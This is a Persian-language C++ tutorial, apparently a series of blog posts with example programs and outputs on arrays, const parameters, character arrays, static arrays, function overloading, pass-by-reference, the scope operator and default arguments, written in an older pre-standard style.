++C آرايه ها را با شيوه شبيه سازی شده ارسال آرگومان ها با ارجاع به تابع ارسال می نمايد ، لذا تابع فراخوانی شده مقدار عناصر آرايه ارسالی را می تواند تغيير دهد . هنگامی که نام تابع را به عنوان آرگومان تابع به کار می بريم ، آدرس خانه حافظه اولين عنصر آرايه به تابع ارسال می شود لذا تابع می داند که عناصر آرايه در کجای حافظه قرار گرفته اند . بنابراين هنگامی که تابع فراخوانی شده عناصر آرايه را تغيير می دهد ، اين تغييرات روی عناصر آرايه اصلی که به تابع ارسال شده است ، انجام می پذيرد .
نکته : توجه داشته باشيد که عناصر آرايه را به صورت جداگانه همانند ارسال متغيرها و يا مقادير عددی به تابع ارسال کرد . در اين صورت تغيير بر روی آرگومان ارسالی ، تأثيری بر روی عنصر آرايه نخواهد داشت . در حقيقت اين شيوه ، همان ارسال با مقدار می باشد .
برای اينکه تابعی قادر به دريافت يک آرايه به عنوان ورودی باشد ، هنگام تعريف تابع در ليست آرگومانهای آن ، اين مطلب بايد مشخص گردد . به عنوان مثال تعريف تابع modifyArray را به صورت زير می توان نوشت :
void modifyArray (int b[] ,int array size)
دستور فوق مشخص می کند که تابع modifyArray قادر به دريافت آدرس آرايه ای از اعداد صحيح توسط آرگومان b و تعداد عناصر آرايه توسط آرگومان arraySize می باشد . ضمناً تعداد عناصر آرايه را لازم نيست بين براکت ها ([]) بنويسيد ، اگر اين کار نيز صورت پذيرد ، کامپايلر آن را ناديده می گيرد . توجه داشته باشيد که پيش تعريف تابع فوق را به صورت زير بنويسيد :
void modifyArray (int [] , int);
برنامه زير نحوه ارسال يک آرايه را به تابع و تفاوت ارسال يک عنصر آرايه به تابع و ارسال کل آرايه به تابع را نشان می دهد .
#include <iostream.h>
void modifyArray( int [], int );
void modifyElement( int );
void main()
{
const int arraySize = 5;
int a[ arraySize ] = { 0, 1, 2, 3, 4 };
cout<<"Effects of passing entire array by reference:"
<<"\n\nThe values of the original array are:\n";
// output original array
for ( int i = 0; i < arraySize; i++ )
cout << "\t"<< a[ i ];
cout << endl;
// pass array a to modifyArray by reference
modifyArray( a, arraySize );
cout << "The values of the modified array are:\n";
// output modified array
for ( int j = 0; j < arraySize; j++ )
cout << "\t" << a[ j ];
// output value of a[ 3 ]
cout<<"\n\n\n"
<<"Effects of passing array element by value:"
<<"\n\nThe value of a[3] is " << a[ 3 ] << '\n';
// pass array element a[ 3 ] by value
modifyElement( a[ 3 ] );
// output value of a[ 3 ]
cout << "The value of a[3] is " << a[ 3 ] << endl;
}
// in function modifyArray, "b" points to
// the original array "a" in memory
void modifyArray( int b[], int sizeOfArray )
{
// multiply each array element by 2
for ( int k = 0; k < sizeOfArray; k++ )
b[ k ] *= 2;
}
// in function modifyElement, "e" is a local copy of
// array element a[ 3 ] passed from main
void modifyElement( int e )
{
// multiply parameter by 2
cout << "Value in modifyElement is "
<< ( e *= 2 ) << endl;
}
خروجی برنامه فوق به صورت زير می باشد :
Effects of passing entire array by reference:
The values of the original array are:
0 1 2 3 4
The values of the modified array are:
0 2 4 6 8
Effects of passing array element by value:
The value of a[3] is 6
Value in modifyElement is 12
The value of a[3] is 6
در برنامه فوق ، تابع modifyArray مقدار عناصر آرايه a را که به آن فرستاده شده است دو برابر می کند . تابع modifyElement مقدار آرگومان دريافتی را دو برابر کرده و در خروجی چاپ می کند ولی تأثيری در نسخه اصلی عنصر آرايه نداشته و تغييری در مقدار آن ايجاد نمی کند .
بعضی مواقع ممکن است بخواهيد که تابعی ، اجازه تغيير عناصر آرايه ای که به آن فرستاده شده است را نداشته باشد . برای اين کار هنگام تعريف تابع کافی است از کلمه const قبل از آرگومان مربوط به آن آرايه استفاده کنيد ، در چنين حالتی اگر داخل تابع قصد تغيير مقدار عناصر آرايه را داشته باشيد با يک پيغام خطای کامپايلر مواجه می شويد و کامپايلر اجازه اين کار را به شما نمی دهد . به برنامه زير توجه کنيد :
#include <iostream.h>
void tryToModifyArray( const int [] );
void main()
{
int a[] = { 10, 20, 30 };
tryToModifyArray( a );
cout << a[0] <<' '<< a[1] <<' '<< a[2] <<'\n';
}
// In function tryToModifyArray, "b" cannot be used
// to modify the original array "a" in main.
void tryToModifyArray( const int b[] )
{
b[ 0 ] /= 2; // error
b[ 1 ] /= 2; // error
b[ 2 ] /= 2; // error
}
هنگام کامپايل کردن برنامه فوق با پيغام های خطای زير مواجه خواهيد شد ، چون در تابع قصد تغيير عناصر آرايه ای را که به صورت ثابت به تابع ارسال شده بود ، داشتيم .
Error in line 19: Cannot modify a const object
Error in line 20: Cannot modify a const object
Error in line 21: Cannot modify a const object
نظرات ()مثال : برنامه ای بنويسيد که 10 عدد صحيح را ورودی دريافت کرده و در آرايه ای قرار داده سپس مجموع عناصر آرايه را محاسبه کرده و درخروجی چاپ نمايد .
#include <iostream.h>
void main()
{
const int arraySize = 10;
int total = 0,i;
int a[ arraySize ];
for (i = 0; i < arraySize; i++)
{
cout << "Enter number " << i << " : ";
cin >> a[ i ];
}
for (i = 0; i < arraySize; i++ )
total += a[ i ];
cout << "Total of array element values is "
<< total << endl;
}
خروجی برنامه به صورت زير می باشد :
Enter number 0 : 12
Enter number 1 : 3
Enter number 2 : 4
Enter number 3 : 654
Enter number 4 : 34
Enter number 5 : 2
Enter number 6 : 123
Enter number 7 : 794
Enter number 8 : 365
Enter number 9 : 23
Total of array element values is 2014
مثال : برنامه ای بنويسيد که توسط آرايه ، نمودار ميله ای افقی برای اعداد {1 و17 و5 و13 و9 و11 و7 و15 و3 و19 } رسم کند .
#include <iostream.h>
int main()
{
const int arraySize = 10;
int n[ arraySize ] = { 19, 3, 15, 7, 11,
9, 13, 5, 17, 1 };
cout << "Element" << " Value" << endl;
for ( int i = 0; i < arraySize; i++ ) {
cout << i << "\t " << n[ i ] << "\t";
for ( int j = 0; j < n[ i ]; j++ )
cout << '*';
cout << endl;
}
return 0;
}
خروجی برنامه به صورت زير می باشد :
Element Value
0 19 *******************
1 3 ***
2 15 ***************
3 7 *******
4 11 ***********
5 9 *********
6 13 *************
7 5 *****
8 17 *****************
9 1
مثال : برنامه ای بنويسيد که يک تاس را 6000 بار پرتاب کرده و توسط آرايه ای تعداد دفعات آمدن هر وجه را حساب کند .( تعداد دفعات آمدن هر وجه را يک عنصر آرايه ای در نظر بگيريد )
#include <iostream.h>
#include <stdlib.h>
#include <time.h>
void main()
{
const int arraySize = 7;
int frequency[ arraySize ] = { 0 };
srand( time( 0 ) );
for ( int roll = 1; roll <= 6000; roll++ )
++frequency[ 1 + rand() % 6 ];
cout << "Face Frequency" << endl;
for ( int face = 1; face < arraySize; face++ )
cout << face << "\t" << frequency[face] << endl;
}
خروجی برنامه به صورت زير می باشد :
Face Frequency
1 1023
2 990
3 1008
4 971
5 1025
6 983
دستور ++frequency [rand()%6 + 1]; ، مقدار عنصر مربوط به هر وجه را يک واحد اضافه می کند ، زيرا rand()%6 + 1 عددی بين 1 تا 6 توليد می کند ، پس هر بار به طور تصادفی تنها مقدار عنصر مربوط به يکی از وجوه افزايش می يابد .
يکی از کار برد های آرايه ها ، استفاده از آنها برای ذخيره رشته ای از حروف می باشد . تا به حال متغيرهايی که از ورودی دريافت می کرديم و يا آرايه هايی که تا به اينجا ديديد تنها شامل اعداد می شدند در اينجا به عنوان مثال نحوه دريافت يک نام از ورودی و چاپ آن در خروجی را بررسی می کنيم .(در فصل بعد يعنی اشاره گرها و رشته ها ، به طور مفصل تر راجع به رشته ها صحبت خواهيم کرد )
يک عبارت رشته ای مانند: "hello" در واقع آرايه ای از حروف می باشد.
char string1[]="hello";
دستور فوق آرايه ای به نام string1 را با کلمه hello مقدار دهی می کند. طول آرايه فوق برابر است با طول کلمه hello يعنی 5 بعلاوه يک واحد که مربوط است به کاراکتر پوچ که انتهای رشته را مشخص می کند. لذا آرايه string1 دارای طول 6 می باشد. کاراکتر پوچ در زبان ++C توسط '\0' مشخص می گردد. انتهای کليه عبارات رشته ای با اين کاراکتر مشخص می شود.
char string1[]={'h','e','l','l','o','\0'}
دستور فوق عناصر آرايه string1 را جداگانه مقدار دهی می کند. توجه داشته باشيد که عناصر آرايه در دستور فوق داخل (') قرار گرفتند و نيز انتهای رشته با '\0' تعيين شد. نتيجه همانند دستور char string1[]="hello"; می باشد.
چون عبارت رشته ای، آرايه ای از حروف می باشند، لذا به هر يک از حروف رشته، توسط انديس عنصری که شامل آن حرف می باشد، می توان دسترسی پيدا کرد. به عنوان مثال string1[0] شامل 'h' و string1[3] شامل 'l' و string1[5] شامل '\0' می باشد.
توسط دستور cin نيز می توان به طور مستقيم کلمه وارد شده از صفحه کليد را در آرايه ای رشته ای قار داد.
char string2[20];
دستور فوق يک آرايه رشته ای که قابليت دريافت کلمه ای با طول 19 به همراه کاراکتر پوچ را دارا می باشد.
cin >> string2;
دستور فوق رشته ای از حروف را از صفحه کليد خوانده و در string2 قرار می دهدو کاراکتر پوچ را به انتهای رشته وارد شده توسط کاربر اضافه می کند. به طور پيش فرض دستور cin کاراکتر ها را از صفحه کليد تا رسيدن به اولين فضای خالی در يافت می کند. به عنوان مثال اگر هنگام اجرای دستور cin >> string2; کاربر عبارت "hello there" را وارد کند، تنها کلمه hello در string2 قرار می گيرد. چون عبارت وارد شده شامل کاراکتر فاصله است. برنامه زير نحوه به کار گيری آرايه های رشته ای را نشان می دهد.
#include <iostream.h>
void main()
{
char name[ 20 ];
cout << "Please Enter your name : ";
cin >> name;
cout << "Welcome, " << name
<< " to this program. \n" ;
cout << "Your separated name is\n";
for ( int i = 0; name[ i ] != '\0'; i++ )
cout << name[ i ] << ' ';
}
خروجی برنامه به صورت زير می باشد :
Please Enter your name : Mohammad
Welcome, Mohammad to this program.
Your separated name is
M o h a m m a d
در برنامه فوق حلقه for ، حروف نام وارد شده توسط کاربر را جدا جدا در خروجی چاپ می کند. ضمنا شرط حلقه name[ i ] != '\0' می باشد و تا وقتی اين شرط برقرار است که حلقه به انتهای رشته نرسيده باشد.
در مبحث قوانين حوزه ديديد که اگر بخواهيم يک متغير محلی تابع، مقدار خود را حفظ کرده و برای دفعات بعدی فراخوانی تابع نيز نگه دارد، از کلمه static استفاده کرديم. نوع static را برای آرايه ها نيز می توان به کار برد و از همان قوانين گفته شده در مبحث مذکور پيروی می کند. به برنامه زير و خروجی آن توجه کنيد.
#include <iostream.h>
void staticArrayInit( void );
void automaticArrayInit( void );
int main()
{
cout << "First call to each function:\n";
staticArrayInit();
automaticArrayInit();
cout << "\n\nSecond call to each function:\n";
staticArrayInit();
automaticArrayInit();
cout << endl;
return 0;
}
// function to demonstrate a static local array
void staticArrayInit( void )
{
// initializes elements to 0
// first time function is called
static int array1[ 3 ]={0};
cout << "\nValues on entering staticArrayInit:\n";
// output contents of array1
for ( int i = 0; i < 3; i++ )
cout << "array1[" << i << "] = "
<< array1[ i ] << " ";
cout << "\nValues on exiting staticArrayInit:\n";
// modify and output contents of array1
for ( int j = 0; j < 3; j++ )
cout << "array1[" << j << "] = "
<< ( array1[ j ] += 5 ) << " ";
} // end function staticArrayInit
// function to demonstrate an automatic local array
void automaticArrayInit( void )
{
// initializes elements each time function is called
int array2[ 3 ] = { 1, 2, 3 };
cout << endl << endl;
cout << "Values on entering automaticArrayInit:\n";
// output contents of array2
for ( int i = 0; i < 3; i++ )
cout << "array2[" << i << "] = "
<< array2[ i ] << " ";
cout << "\nValues on exiting automaticArrayInit:\n";
// modify and output contents of array2
for ( int j = 0; j < 3; j++ )
cout << "array2[" << j << "] = "
<< ( array2[ j ] += 5 ) << " ";
}
خروجی برنامه به صورت زير می باشد :
First call to each function:
Values on entering staticArrayInit:
array1[0] = 0 array1[1] = 0 array1[2] = 0
Values on exiting staticArrayInit:
array1[0] = 5 array1[1] = 5 array1[2] = 5
Values on entering automaticArrayInit:
array2[0] = 1 array2[1] = 2 array2[2] = 3
Values on exiting automaticArrayInit:
array2[0] = 6 array2[1] = 7 array2[2] = 8
Second call to each function:
Values on entering staticArrayInit:
array1[0] = 5 array1[1] = 5 array1[2] = 5
Values on exiting staticArrayInit:
array1[0] = 10 array1[1] = 10 array1[2] = 10
Values on entering automaticArrayInit:
array2[0] = 1 array2[1] = 2 array2[2] = 3
Values on exiting automaticArrayInit:
array2[0] = 6 array2[1] = 7 array2[2] = 8
در برنامه فوق عناصر آرايه array1 در اولين بار فراخوانی تابع staticArrayInit مقدار صفر را می گيرند ولی در دفعات بعدی فراخوانی اين تابع، آخرين مقدار قبلی خود را حفظ می کنند . اما آرايه array2 در هر بار فراخوانی تابع automaticArrayInit مقدار دهی اوليه می شود و با خروج از تابع مقدار خود را از دست می دهد.
نظرات ()يک آرايه مجموعه ای از خانه ها متوالی حافظه می باشد که دارای يک نام و يک نوع می باشند . به هر يک از اين خانه ها يک عنصر آرايه گفته می شود . برای دستيابی به يک عنصر آرايه ، بايد نام آرايه و شمارنده آن خانه را مشخص کنيم . لذا عناصر آرايه توسط متغيری به نام انديس مشخص می شوند به همين دليل، آرايه ها را متغيرهای انديس دار نيز می گويند . نام آرايه ، از قواعد نام گذاری متغيرها پيروی می کند . نوع آرايه نيز يکی از انواع داده ذکر شده در مبحث مفاهيم حافظه و انواع داده ای می باشد . اعلان آرايه ها به صورت زير است :
طول آرايه] نام آرايه نوع داده آرايه];
به عنوان مثال دستور زير آرايه ای به طول 6 ، با نام num را از نوع int ايجاد می کند .
int num [6];

توجه داشته باشيد که تمام عناصر دارای نام يکسانی می باشند و تنها با انديس از هم تفکيک می شوند . به عنوان مثال عنصر با انديس 2 دارای مقدار 23560- می باشد ، ضمناً انديس عناصر از 0 شروع می شود .
استفاده از يک عبارت محاسباتی به جای انديس عناصر امکان پذير می باشد ، به عنوان مثال با فرض اينکه متغير a حاوی 2 و متغير b حاوی 3 باشد ، دستور زير:
num [a+b] + = 3;
سه واحد به عنصر num [5] اضافه خواهد کرد و اين عنصر حاوی عدد 3 می گردد . برای چاپ مجموع سه عنصر اول آرايه می توانيد از دستور زير استفاده کنيد :
cout << num[0] + num[1] + num[2] << endl;
برای تقسيم عنصر چهارم آرايه بر 2 و قرار دادن حاصل در متغير x از دستور زير می توانيد استفاده کنيد :
x = num[3]/2;
نکته : توجه داشته باشيد که عنصر چهارم آرايه با عنصر شماره چهار ( با انديس چهار ) متفاوت می باشد . همانطور که در دستور فوق ديديد عنصر شماره چهار دارای انديس سه می باشد ، دليل اين امر اينست که انديس گذاری از صفر شروع می شود . در آرايه فوق عنصر چهارم آرايه num[3]=-50 می باشد ولی عنصر شماره چهار ( با انديس چهار ) num[4]=32500 می باشد .
همانند متغيرها چند آرايه را نيز می توان توسط يک دستور تعريف کرد :
int b[100] , x[27] ;
دستور فوق 100 خانه از نوع عدد صحيح را برای آرايه با نام b و 27 خانه از نوع عدد صحيح را برای آرايه با نام x در نظر می گيرد .
برای مقدار دهی اوليه به هر يک از عناصر آرايه می توانيد از شيوه زير استفاده کنيد :
int n[5] = {32 , 27 , 64 , 18 , 95 }
اگر طول آرايه هنگام تعريف آرايه تعيين نشده باشد و ليست مقدار عناصر نوشته شود ، همانند دستور زير :
int n[] = { 1 , 2 , 3 , 4 , 5 }در اين صورت کامپايلر به تعداد عناصر ليست ، خانه حافظه برای آرايه در نظر می گيرد ، مثلاً در دستور فوق 5 خانه حافظه برای آرايه n در نظر گرفته می شود .
راه ديگری که برای مقدار دهی اوليه به عناصر آرايه وجود دارد استفاده از روش زير است :
int num[10] = {0}دستور فوق 10 خانه حافظه برای آرايه num در نظر می گيرد و مقادير همه آنها را صفر می کند . توجه داشته باشيد که اگر از دستور زير استفاده کنيم :
int num[10] = {1}تمامی عناصر مقدار 1 را نمی گيرند بلکه عنصر اول آرايه يک می شود و بقيه عناصر مقدار صفر را می گيرند .
در تعريف آرايه ديديد که طول آرايه را با عدد صحيح ثابتی تعيين می کنيم . هر جا که از عدد ثابتی استفاده می شود ، متغير ثابت نيز می توان به کار برد . متغيرهای ثابت به صورت زير تعريف می شوند :
const مقدار متغير = نام متغير ثابت نوع داده متغير ;
به عنوان مثال :
const int arraySize = 10;
دستور فوق عدد 10 را به متغير arraySize ثابت انتساب می دهد . توجه داشته باشيد که مقدار يک متغير ثابت را در طول برنامه نمی توان تغيير داد و نيز متغير ثابت در هنگام تعريف شدن ، مقدار اوليه اش نيز بايد تعيين گردد . به متغيرهای ثابت ، متغيرهای فقط خواندنی نيز گفته می شود . کلمه "متغير ثابت" يک کلمه مرکب ضد و نقيض می باشد چون کلمه متغير متضاد ثابت می باشد و اين اصطلاحی است که برای اينگونه متغيرهای در اکثر زبانهای برنامه نويسی به کار می رود . برنامه زير نحوه تعريف يک متغير ثابت را نشان می دهد :
{
const int x = 7;
cout << "The value of constant variable x is: "
<< x << endl;
}
برنامه فوق عدد 7 را در متغير ثابت x قرار می دهد و توسط دستور cout آنرا چاپ می کند . همانطور که گفتيم مقدار متغير ثابت در هنگام تعريف بايد تعيين گردد و نيز ثابت قابل تغيير نمی باشد ، به برنامه زير توجه کنيد .
برنامه فوق هنگام کامپايل شدن دو پيغام خطا خواهد داد ، چون متغير ثابت هنگام تعريف مقدار دهی نشده و نيز در برنامه دستوری برای تغيير مقدار آن آورده نشده است .
Compiling C:\TCP\BIN\CONST1.CPP:
Error : Constant variable 'x' must be initialized
Error : Cannot modify a const object
مثال : در برنامه زير طول آرايه توسط متغير ثابتی تعيين می گردد و عناصر آرايه توسط حلقه for مقدار دهی شده و سپس توسط حلقه for ديگری ، مقدار عناصر آرايه چاپ می گردد .
#include <iostream.h>
void main()
{
const int arraySize = 10;
int s[ arraySize ];
for ( int i = 0; i < arraySize; i++ )
s[ i ] = 2 + 2 * i;
cout << "Element Value" << endl;
for ( int j = 0; j < arraySize; j++ )
cout << j << "\t " << s[ j ] << endl;
}
خروجی برنامه فوق به صورت زير می باشد :
Element Value
0 2
1 4
2 6
3 8
4 10
5 12
6 14
7 16
8 18
9 20
نظرات ()++C استفاده از يک نام را برای چند تابع ، هنگامی که توابع از نظر نوع آرگومان ها ، تعداد آرگومان ها يا ترتيب قرار گرفتن نوع آرگومان ها با هم متفاوت باشند را امکان پذير کرده است اين قابليت ، گرانبار کردن توابع ناميده می شود . هنگامی که يک تابع گرانبار شده فراخوانی می شود کامپايلر با مقايسه نوع ، تعداد و ترتيب آرگومان ها تابع درست را انتخاب می کند . معمولاً از توابع گرانبار شده برای ايجاد چند تابع با نامهای يکسان که کار يکسانی را بر روی انواع داده ای متفاوتی انجام می دهند استفاده می شود . به عنوان مثال اکثر توابع رياضی زبان ++C برای انواع داده ای متفاوت گرانبار شده اند . گرانبار کردن توابعی که کار يکسانی را انجام می دهند برنامه را قابل فهم تر و خواناتر می سازد . برنامه زير نحوه به کار گيری توابع گرانبار شده را نشان می دهد .
#include <iostream.h>
int square( int );
double square( double );
void main()
{
// calls int version
int intResult = square( 7 );
// calls double version
double doubleResult = square( 7.5 );
cout << "\nThe square of integer 7 is "
<< intResult
<< "\nThe square of double 7.5 is "
<< doubleResult
<< endl;
} // end main
// function square for int values
int square( int x )
{
cout <<"Called square with int argument: "
<< x << endl;
return x * x;
} // end int version of function square
// function square for double values
double square( double y )
{
cout <<"Called square with double argument: "
<< y << endl;
return y * y;
} // end double version of function square
خروجی برنامه به صورت زير می باشد .
Called square with int argument: 7
Called square with double argument: 7.5
The square of integer 7 is 49
The square of double 7.5 is 56.25
برنامه فوق برای محاسبه مربع يک عدد صحيح (int) و يک عدد اعشاری (double) از تابع گرانبارشده square استفاده می کند .هنگامی که دستور:
int intResult = square (7) ;
اجرا می گردد تابع square با پيش تعريف :
int square (int) ;
فراخوانی می شود و هنگامی که دستور :
double doubleResult = square (7.5) ;
اجرا می گردد تابع square با پيش تعريف :
double square (double );
فراخوانی می شود .
نکته : توجه داشته باشيد که توابع گرانبار شده الزامی ندارند که وظيفه يکسانی را انجام دهند . و ممکن است کاملاً با هم تفاوت داشته باشند ، ولی توصيه می شود که توابعی را گرانبار کنيد که يک کار را انجام می دهند .
نظرات ()تا به حال ، در تمام توابعی که نوشتيم آرگومان ها با مقدار به توابع فرستاده می شدند . اين بدان معناست که هنگامی که توابع با آرگومانها فرا خوانی می شدند ، چيزی که ما به عنوان ورودی تابع ارسال می کرديم مقدار يا عدد بود و هرگز خود متغير به تابع فرستاده نشد ، به عنوان مثال تابع maximum در مبحث تعريف توابع را به صورت زير فراخوانی می کنيم :
int a=5, b=6, c=7, max;
max = maximum(a,b,c);
کاری که در اينجا صورت می گيرد فراخوانی تابع و فرستادن مقادير موجود در a وb وc يعنی 5 و 6 و 7 به تابع می باشد . و خود متغيرها فرستاده نمی شوند .
بدين صورت هنگامی که تابع maximum فراخوانی می شود ، مقدار متغيرهای x وy وz به ترتيب برابر 5 و 6 و 7خواهند شد و هرگونه تغييری روی متغيرهای x وy وz در تابع ، تأثيری روی متغيرهای a وb وc نخواهد داشت . زيرا خود متغيرهای a وb وc به تابع فرستاده نشده اند بلکه مقادير موجود در آنها به تابع ارسال گشته اند .
در برنامه نويسی مواردی پيش می آيد که بخواهيد از داخل تابع ، مقادير متغيرهای خارجی را تغيير دهيم ، به عنوان مثال در تابع maximum مقدار متغير a را از داخل تابع تغيير دهيم . برای نيل به اين هدف بايد از روش ارسال آرگومان ها با ارجاع استفاده کنيم . برای آنکه آرگومان تابعی با ارجاع فرستاده شود ، کافی است در پيش تعريف تابع بعد از تعيين نوع آرگومان يک علامت (&) بگذاريم و نيز در تعريف تابع قبل از نام آرگومان يک علامت (&) قرار دهيم . برای آشنايی با نحوه ارسال آرگومان ها با ارجاع به برنامه زير توجه کنيد .
#include <iostream.h>
void duplicate (int & , int & );
void main ( )
{
int a=1 , b=2 ;
cout << "a = " << a << " and b = " << b << endl;
duplicate (a,b);
cout << "a = " << a << " and b = " << b << endl;
}
void duplicate (int &x , int &y)
{
x*=2;
y*=2;
}
خروجی برنامه به صورت زير می باشد .
a = 1 and b = 2
a = 2 and b = 4
در برنامه فوق متغيرهای a وb به تابع ارسال می گردند و سپس در دو ضرب می شوند. در اين برنامه مقدار متغيرهای a وb فرستاده نمی شود بلکه خود متغير فرستاده می شود و لذا هنگامی که دستورهای
x*=2;
y*=2;
اجرا می گردند مقادير دو متغيرa وb دو برابر می شود . در حقيقت x وy مانند نام مستعاری برای a وb می باشند .
هنگامی که متغيری با ارجاع فرستاده می شود هر گونه تغييری که در متغير معادل آن در تابع صورت گيرد عيناً آن تغيير بر روی متغير ارسالی نيز اعمال می گردد .
مثال : تابعی بنويسيد که دو متغير را به عنوان ورودی دريافت کرده و مقادير آنها را جابه جا کند . از اين تابع در برنامه ای استفاده کنيد .
#include <iostream.h>
void change (int & , int &);
int main ( )
{
int a=1 , b=2 ;
cout << "a is " << a << " and b is " << b << endl;
change (a,b);
cout << "a is " << a << " and b is " << b << endl;
return 0;
}
void change (int &x , int &y)
{
int temp;
temp = y;
y = x;
x = temp;
}
خروجی برنامه به صورت زير است :
a is 1 and b is 2
a is 2 and b is 1
برنامه فوق مقادير دو متغير a وb را توسط change با شيوه ارسال آرگومان با ارجاع جابه جا می کند .
يکی ديگر از کاربردهای ارسال با ارجاع ، دريافت بيش از يک خروجی از تابع می باشد ، به عنوان مثال تابع prevnext در برنامه زير مقادير صحيح قبل و بعد از اولين آرگومان را به عنوان خروجی بر می گرداند .
#include <iostream.h>
void prevnext (int ,int & , int &);
void main ( )
{
int x = 100 , y , z ;
cout << "The input of prevnext function is "
<< x << endl;
prevnext (x,y,z) ;
cout << "previous =" << y <<",Next =" << z;
}
void prevnext (int input , int & prev , int & next)
{
prev = input - 1 ;
next = input + 1 ;
}
خروجی برنامه فوق به صورت زير می باشد .
The input of prevnext function is 100
previous =99,Next =101
همانطور که مشاهده می کنيد آرگومان input مقدار داده موجود در متغير x را دريافت می کند ولی آرگومان های prev وnext خود متغيرهای y وz را دريافت می کنند . لذا تغييرات روی متغيرprev وnext بر روی y وz انجام می گيرد و توسط تابع مقدار دهی می شوند
نظرات ()همانطور که در مبحث قوانين حوزه ديديد تعريف متغيرهای محلی و عمومی با يک نام در برنامه امکان پذير می باشد . زبان ++C عملگر يگانی تفکيک دامنه (::) را برای امکان دستيابی به متغير عمومی همنام با متغير محلی ، در اختيار ما قرار داده است . توجه داشته باشيد که اين عملگر تنها قادر به دستيابی به متغير عمومی در حوزه فايل می باشد . ضمناً متغير عمومی بدون نياز به اين عملگر نيز قابل دستيابی می باشد ؛ به شرط آنکه متغيرمحلی همنام با متغير عمومی ، در برنامه به کار برده نشود . استفاده از عملگر (::) همراه نام متغير عمومی ، در صورتی که نام متغير عمومی برای متغير ديگری به کار برده نشده باشد ، اختياری است . اما توصيه می شود که برای اينکه بدانيد از متغير عمومی استفاده می کنيد از اين عملگر همواره در کنار نام متغير عمومی استفاده کنيد . برنامه زير نحوه کاربرد عملگر (::) را نشان می دهد .
#include <iostream.h>
float pi=3.14159;
void main( )
{
int pi=::pi;
cout << "Local pi is : " << pi << endl;
cout << "Global pi is : " << ::pi << endl;
}
خروجی برنامه به صورت زير می باشد :
Local pi is : 3
Global pi is : 3.14159
در برنامه فوق متغير عمومی pi از نوع float تعريف شده است و در تابع متغير محلی pi از نوع int با مقدار اوليه pi عمومی مقدار دهی می شود . توجه داشته باشيد که برای دستيابی به مقدار pi عمومی از عملگر يگانی تفکيک حوزه (::) استفاده شد . پس از مقدار دهی به pi محلی ، توسط دستور cout ، متغير pi محلی که حاوی عدد 3 است چاپ می گردد و در خط بعدی متغير pi عمومی که حاوی 3.14159 می باشد چاپ خواهد شد .
نظرات ()در برنامه نويسی ممکن است تابعی را به دفعات با آرگومانهای يکسانی صدا بزنيم . در چنين حالتی ، برنامه نويس می تواند برای آرگومانهای تابع ، مقداری را به عنوان پيش فرض قرار دهد . هنگامی که در فراخوانی توابع ، آرگومان دارای مقدار پيش فرض حذف شده باشد ، کامپايلر مقدار پيش فرض آن آرگومان را به تابع خواهد فرستاد .
آرگومان های پيش فرض بايد سمت راستی ترين آرگومان های تابع باشند . هنگامی که تابعی با بيش از يک آرگومان فراخوانی می شود ، اگر آرگومان حذف شده سمت راستی ترين آرگومان نباشد ، آنگاه همه آرگومانهای سمت راست آن آرگومان نيز بايد حذف شوند . آرگومان های پيش فرض بايد در اولين جايی که نام تابع آورده می شود ( که معمولاً در پيش تعريف تابع است ) مشخص شوند .
مقادير پيش فرض می توانند اعداد ، مقادير ثابت ، متغيرهای عمومی و يا خروجی تابع ديگر باشند .
برنامه زير نحوه مقدار دهی به آرگومان های پيش فرض و نيز نحوه فراخوانی تابع با مقدار پيش فرض را نشان می دهد . در اين برنامه حجم جعبه ای محاسبه می شود .
#include <iostream.h>
// function prototype that specifies default arguments
int boxVolume(int length=1, int width=1, int height=1);
int main()
{
//no arguments--use default values for all dimensions
cout <<"The default box volume is: "<<boxVolume();
//specify length; default width and height
cout <<"\n\nThe volume of a box with length 10,\n"
<<"width 1 and height 1 is: "<<boxVolume(10);
//specify length and width; default height
cout <<"\n\nThe volume of a box with length 10,\n"
<<"width 5 and height 1 is: "<<boxVolume(10,5);
//specify all arguments
cout <<"\n\nThe volume of a box with length 10,\n"
<<"width 5 and height 2 is: "<<boxVolume(10,5,2)
<<endl;
return 0; // indicates successful termination
} //end main
// function boxVolume calculates the volume of a box
int boxVolume( int length, int width, int height )
{
return length * width * height;
} // end function boxVolume
خروجی برنامه فوق به صورت زير می باشد .
The default box volume is: 1
The volume of a box with length 10,
width 1 and height 1 is: 10
The volume of a box with length 10,
width 5 and height 1 is: 50
The volume of a box with length 10,
width 5 and height 2 is: 100
در پيش تعريف تابع boxVolume به هر يک از سه آرگومان تابع مقدار پيش فرض 1 داده شده است . توجه داشته باشيد که مقادير پيش فرض بايد در پيش تعريف تابع نوشته شوند ، ضمناً نوشتن نام آرگومان های تابع در پيش تعريف الزامی نيست و در برنامه فوق اينکار تنها برای خوانايی بيشتر انجام گرفته است ، البته توصيه می شود که شما نيز از اين شيوه استفاده کنيد . به عنوان مثال پيش فرض تابع boxVolume در برنامه فوق را می توانستيم به صورت زير نيز بنويسيم :
int boxVolume (int = 1 , int = 1 , int = 1 );
در اولين فراخوانی تابع boxVolume در برنامه فوق هيچ آرگومانی به آن داده نشده است لذا هر سه مقدار پيش فرض آرگومان ها مورد استفاده قرار می گيرد و حجم جعبه عدد 1 می شود . در دومين فراخوانی آرگومان length ارسال می گردد ، لذا مقادير پيش فرض آرگومان های width و height استفاده می شوند . در سومين فراخوانی آرگومان های width و length ارسال می گردند لذا مقادير پيش فرض آرگومان height مورد استفاده قرار می گيرد . در آخرين فراخوانی هر سه آرگومان ارسال می شوند لذا از هيچ مقدار پيش فرضی استفاده نمی شود .
پس هنگامی که يک آرگومان به تابع فرستاده می شود ، آن آرگومان به عنوان length در نظر گرفته می شود و هنگامی که دو آرگومان به تابع boxVolume فرستاده می شود تابع آنها را به ترتيب از سمت چپ به عنوان آرگومان length و سپس width در نظر می گيرد و سرانجام هنگامی که هرسه آرگومان فرستاده می شود به ترتيب از سمت چپ در length و width و height قرار می گيرند .
نظرات ()قسمتی از برنامه که در آن متغيری تعريف شده و قابل استفاده می باشد، حوزه آن متغير گفته می شود. در زبان ++C به قسمتی از برنامه که با يک علامت ( } ) شروع شده و با علامت ( { ) به پايان می رسد يک بلوک می گويند. به عنوان مثال هنگامی که متغيری را در يک بلوک تعريف می کنيم، متغير فقط در آن بلوک قابل دسترسی می باشد ولذا حوزه آن متغير بلوکی که در آن تعريف شده است ، می باشد. به مثال زير توجه کنيد :
#include <iostream.h>
void main( )
{
{
int x= 1;
cout << x;
}
cout << x;
}
